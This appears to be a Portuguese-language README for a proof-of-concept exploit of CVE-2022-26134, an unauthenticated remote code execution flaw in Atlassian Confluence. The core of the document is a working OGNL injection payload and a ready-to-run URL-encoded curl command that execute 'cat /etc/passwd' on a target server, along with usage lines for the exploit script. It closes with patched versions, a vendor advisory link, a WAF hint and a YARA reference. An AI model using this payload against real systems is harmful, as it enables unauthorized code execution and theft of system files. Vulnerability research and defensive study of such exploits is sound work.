CVE-2022-26134

CVE-2022-26134 - Vulnerabilidade de injeção OGNL.

Script de prova de conceito que explora a vulnerabilidade de execução remota de código que afeta os produtos Atlassian Confluence 7.18 e inferiores. A vulnerabilidade de injeção OGNL permite que um usuário não autenticado execute código arbitrário em uma instância do Confluence Server ou Data Center.

Versões afetadas

Todas as versões suportadas do Confluence Server e Data Center são afetadas.
As versões do Confluence Server e Data Center posteriores a 1.3.0 e abaixo de 7.18.1 são afetadas.
A vulnerabilidade possui uma pontuação CVSS de 10 em 10 para criticidade.

Dependências:

• Python 3.3+
• As dependências podem ser satisfeitas via pip install -r requirements.txt

Como usar:

Clone o repositório

git clone https://gitlab.com/Naqwada/cve-2022-26134
cd CVE-2022-26134

Em seguida, você pode executar o exploit com o comando de sua escolha da seguinte forma:

python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"

Vídeo de Prova de Conceito

Payload

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Exemplo com comando CURL:

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D" 

Em seguida, o resultado do comando será refletido no parâmetro X-Cmd-Response no cabeçalho da resposta.

Diretrizes de mitigação dos fornecedores

Siga as recomendações oficiais da Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

Versões corrigidas

A Atlassian lançou as versões 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 e 7.18.1 que contêm uma correção para este problema.

Capacidades de detecção

Esta vulnerabilidade afeta todas as instâncias auto-hospedadas. Se você usar um WAF, pode bloquear URLs com ${ internamente.

YARA (por Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar

Nota

APENAS PARA FINS EDUCACIONAIS.